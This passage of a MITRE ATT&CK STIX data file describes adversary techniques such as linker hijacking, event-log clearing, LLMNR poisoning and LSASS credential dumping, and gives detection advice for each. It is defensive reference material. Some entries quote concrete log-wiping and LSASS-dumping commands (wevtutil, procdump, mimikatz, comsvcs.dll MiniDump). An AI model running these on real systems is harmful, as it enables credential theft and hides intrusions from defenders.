interrupts.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Process: Process Creation","Command: Command Execution","File: File Modification"],"x_mitre_permissions_required":["User","Administrator"]},{"modified":"2023-03-30T21:01:40.146Z","name":"Dynamic Linker Hijacking","description":"Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python’s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","macOS"],"x_mitre_version":"2.0","x_mitre_data_sources":["File: File Creation","Command: Command Execution","Module: Module Load","Process: Process Creation","File: File Modification"],"x_mitre_permissions_required":["User"],"type":"attack-pattern","id":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","created":"2020-03-13T20:09:59.569Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1574/006","external_id":"T1574.006"},{"source_name":"Man LD.SO","description":"Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020.","url":"https://www.man7.org/linux/man-pages/man8/ld.so.8.html"},{"source_name":"TLDP Shared Libraries","description":"The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.","url":"https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"},{"source_name":"Apple Doco Archive Dynamic Libraries","description":"Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.","url":"https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"},{"source_name":"Baeldung LD_PRELOAD","description":"baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.","url":"https://www.baeldung.com/linux/ld_preload-trick-what-is"},{"source_name":"Code Injection on Linux and macOS","description":"Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.","url":"https://www.datawire.io/code-injection-on-linux-and-macos/"},{"source_name":"Uninformed Needle","description":"skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.","url":"http://hick.org/code/skape/papers/needle.txt"},{"source_name":"Phrack halfdead 1997","description":"halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.","url":"http://phrack.org/issues/51/8.html"},{"source_name":"Brown Exploiting Linkers","description":"Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021.","url":"http://www.nth-dimension.org.uk/pub/BTL.pdf"},{"source_name":"TheEvilBit DYLD_INSERT_LIBRARIES","description":"Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.","url":"https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/"},{"source_name":"Timac DYLD_INSERT_LIBRARIES","description":"Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.","url":"https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/"},{"source_name":"Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass","description":"Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.","url":"https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0"},{"modified":"2023-10-16T17:40:37.995Z","name":"Local Account","description":"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \n\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. For network infrastructure devices, collect AAA logging to monitor for account creations.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network","Containers"],"x_mitre_version":"1.3","x_mitre_data_sources":["User Account: User Account Creation","Process: Process Creation","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","created":"2020-01-28T13:50:22.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1136/001","external_id":"T1136.001"},{"source_name":"cisco_username_cmd","description":"Cisco. (2023, March 6). username - Cisco IOS Security Command Reference: Commands S to Z. Retrieved July 13, 2022.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630"},{"source_name":"Kubernetes Service Accounts Security","description":"Kubernetes. (n.d.). Service Accounts. Retrieved July 14, 2023.","url":"https://kubernetes.io/docs/concepts/security/service-accounts/"},{"source_name":"Microsoft User Creation Event","description":"Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-31T03:17:42.004Z","name":"Communication Through Removable Media","description":"Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor file access on removable media. Detect processes that execute when removable media is mounted.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Drive: Drive Creation","Drive: Drive Access"],"type":"attack-pattern","id":"attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef","created":"2017-05-31T21:31:09.379Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1092","external_id":"T1092"},{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-16T12:40:58.536Z","name":"Clear Windows Event Logs","description":"Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\n\nWith administrator privileges, the event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command Remove-EventLog -LogName Security to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Lucas Heiligenstein"],"x_mitre_deprecated":false,"x_mitre_detection":"Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: \"The audit log was cleared\").","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.4","x_mitre_data_sources":["Command: Command Execution","File: File Deletion","Process: OS API Execution","Process: Process Creation"],"x_mitre_defense_bypassed":["Anti Virus","Host Intrusion Prevention Systems","Log Analysis"],"type":"attack-pattern","id":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","created":"2020-01-28T17:05:14.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1070/001","external_id":"T1070.001"},{"source_name":"disable_win_evt_logging","description":"Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.","url":"https://ptylu.github.io/content/report/report.html?report=25"},{"source_name":"Microsoft Clear-EventLog","description":"Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.","url":"https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog"},{"source_name":"Microsoft EventLog.Clear","description":"Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.","url":"https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx"},{"source_name":"Microsoft wevtutil Oct 2017","description":"Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.","url":"https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-28T21:11:27.088Z","name":"Email Accounts","description":"Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for follow-on purposes.(Citation: Free Trial PurpleUrchin)\n\nAdversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_deprecated":false,"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","type":"attack-pattern","id":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","created":"2020-10-01T01:09:53.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1585/002","external_id":"T1585.002"},{"source_name":"Trend Micro R980 2016","description":"Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/"},{"source_name":"Free Trial PurpleUrchin","description":"Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.","url":"https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-25T15:46:55.393Z","name":"LLMNR/NBT-NS Poisoning and SMB Relay","description":"By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response. \n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)","x_mitre_platforms":["Windows"],"x_mitre_is_subtechnique":true,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.4","x_mitre_contributors":["Eric Kuehn, Secure Ideas","Matthew Demaske, Adaptforward","Andrew Allen, @whitehat_zero"],"x_mitre_data_sources":["Service: Service Creation","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Windows Registry: Windows Registry Key Modification"],"type":"attack-pattern","id":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","created":"2020-02-11T19:08:51.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1557/001","external_id":"T1557.001"},{"source_name":"Rapid7 LLMNR Spoofer","description":"Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.","url":"https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response"},{"source_name":"GitHub Responder","description":"Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.","url":"https://github.com/SpiderLabs/Responder"},{"source_name":"Secure Ideas SMB Relay","description":"Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.","url":"https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html"},{"source_name":"TechNet NetBIOS","description":"Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.","url":"https://technet.microsoft.com/library/cc958811.aspx"},{"source_name":"GitHub NBNSpoof","description":"Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.","url":"https://github.com/nomex/nbnspoof"},{"source_name":"GitHub Conveigh","description":"Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.","url":"https://github.com/Kevin-Robertson/Conveigh"},{"source_name":"byt3bl33d3r NTLM Relaying","description":"Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.","url":"https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html"},{"source_name":"Sternsecurity LLMNR-NBTNS","description":"Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.","url":"https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning"},{"source_name":"Wikipedia LLMNR","description":"Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.","url":"https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-19T17:54:06.038Z","name":"File and Directory Permissions Modification","description":"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)","x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_is_subtechnique":false,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.2","x_mitre_contributors":["CrowdStrike Falcon OverWatch","Jan Miller, CrowdStrike"],"x_mitre_data_sources":["Process: Process Creation","Active Directory: Active Directory Object Modification","Command: Command Execution","File: File Metadata"],"x_mitre_defense_bypassed":["File system access controls"],"type":"attack-pattern","id":"attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1222","external_id":"T1222"},{"source_name":"falconoverwatch_blackcat_attack","description":"Falcon OverWatch Team. (2022, March 23). Falcon OverWatch Threat Hunting Contributes to Seamless Protection Against Novel BlackCat Attack. Retrieved May 5, 2022.","url":"https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/"},{"source_name":"Hybrid Analysis Icacls1 June 2018","description":"Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.","url":"https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"},{"source_name":"Hybrid Analysis Icacls2 May 2018","description":"Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.","url":"https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"},{"source_name":"bad_luck_blackcat","description":"Kaspersky Global Research & Analysis Team (GReAT). (2022). A Bad Luck BlackCat. Retrieved May 5, 2022.","url":"https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf"},{"source_name":"fsutil_behavior","description":"Microsoft. (2021, September 27). fsutil behavior. Retrieved January 14, 2022.","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior"},{"source_name":"EventTracker File Permissions Feb 2014","description":"Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.","url":"https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/"},{"source_name":"blackmatter_blackcat","description":"Pereira, T. Huey, C. (2022, March 17). From BlackMatter to BlackCat: Analyzing two attacks from one affiliate. Retrieved May 5, 2022.","url":"https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html"},{"source_name":"new_rust_based_ransomware","description":"Symantec Threat Hunter Team. (2021, December 16). Noberus: Technical Analysis Shows Sophistication of New Rust-based Ransomware. Retrieved January 14, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-13T13:52:45.379Z","name":"LSASS Memory","description":"Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\nBuilt-in Windows tools such as `comsvcs.dll` can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\nSimilar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS)\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Edward Millington","Ed Williams, Trustwave, SpiderLabs","Olaf Hartong, Falcon Force","Michael Forret, Quorum Cyber"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.5","x_mitre_data_sources":["Process: Process Access","Windows Registry: Windows Registry Key Modification","Process: Process Creation","Process: OS API 